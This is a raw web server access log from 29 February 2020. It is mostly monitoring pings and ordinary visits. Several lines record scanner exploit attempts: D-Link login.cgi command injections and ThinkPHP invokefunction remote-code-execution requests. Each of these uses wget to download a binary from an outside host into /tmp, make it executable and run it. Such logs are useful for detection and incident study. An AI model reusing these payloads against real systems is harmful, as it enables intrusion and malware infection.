212.91.246.72 - - [29/Feb/2020:12:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.156.46.46 - - [29/Feb/2020:12:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:12:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.124.150.69 - - [29/Feb/2020:12:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [29/Feb/2020:12:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.42.127.227 - - [29/Feb/2020:12:56:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:12:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:12:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [29/Feb/2020:13:10:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [29/Feb/2020:13:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.143.251.213 - - [29/Feb/2020:13:14:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:13:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.181.83.92 - - [29/Feb/2020:13:16:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:13:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.113 - - [29/Feb/2020:13:19:15 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
202.9.122.155 - - [29/Feb/2020:13:19:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:13:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.99.88.18 - - [29/Feb/2020:13:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
109.99.88.18 - - [29/Feb/2020:13:21:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:13:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.79.153.168 - - [29/Feb/2020:13:25:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
178.79.153.168 - - [29/Feb/2020:13:25:11 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:13:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.67.217.119 - - [29/Feb/2020:13:25:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
203.44.88.146 - - [29/Feb/2020:13:25:51 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.44.88.146 - - [29/Feb/2020:13:25:52 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.44.88.146 - - [29/Feb/2020:13:25:53 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.44.88.146 - - [29/Feb/2020:13:25:53 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.44.88.146 - - [29/Feb/2020:13:25:54 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.44.88.146 - - [29/Feb/2020:13:25:55 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.44.88.146 - - [29/Feb/2020:13:25:56 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.44.88.146 - - [29/Feb/2020:13:25:57 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.44.88.146 - - [29/Feb/2020:13:25:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
85.49.122.121 - - [29/Feb/2020:13:26:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:13:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.227.198.226 - - [29/Feb/2020:13:26:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
193.227.198.226 - - [29/Feb/2020:13:26:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [29/Feb/2020:13:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.194.137.4 - - [29/Feb/2020:13:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:13:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.59.113 - - [29/Feb/2020:13:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:13:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.59.113 - - [29/Feb/2020:13:31:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:13:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.228.152.138 - - [29/Feb/2020:13:34:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [29/Feb/2020:13:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.144.244.32 - - [29/Feb/2020:13:41:59 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
61.144.244.32 - - [29/Feb/2020:13:41:59 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
61.144.244.32 - - [29/Feb/2020:13:42:01 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
61.144.244.32 - - [29/Feb/2020:13:42:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [29/Feb/2020:13:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.19.30.161 - - [29/Feb/2020:13:45:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
151.73.116.18 - - [29/Feb/2020:13:45:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:13:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.58.116.43 - - [29/Feb/2020:13:48:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:13:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.202.44.194 - - [29/Feb/2020:13:53:11 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [29/Feb/2020:13:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:13:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.62.23.74 - - [29/Feb/2020:13:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:13:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.202.44.194 - - [29/Feb/2020:13:58:01 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
193.202.44.194 - - [29/Feb/2020:13:58:28 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
88.248.139.124 - - [29/Feb/2020:13:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
193.202.44.194 - - [29/Feb/2020:13:58:33 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [29/Feb/2020:13:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.202.44.194 - - [29/Feb/2020:13:58:41 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [29/Feb/2020:13:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.102.48.220 - - [29/Feb/2020:14:03:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:14:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.202.44.194 - - [29/Feb/2020:14:05:13 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
193.202.44.194 - - [29/Feb/2020:14:05:31 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [29/Feb/2020:14:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.202.44.194 - - [29/Feb/2020:14:06:07 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [29/Feb/2020:14:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.202.44.194 - - [29/Feb/2020:14:06:47 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
193.202.44.194 - - [29/Feb/2020:14:06:50 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [29/Feb/2020:14:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:14:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.62.12.93 - - [29/Feb/2020:14:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [29/Feb/2020:14:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
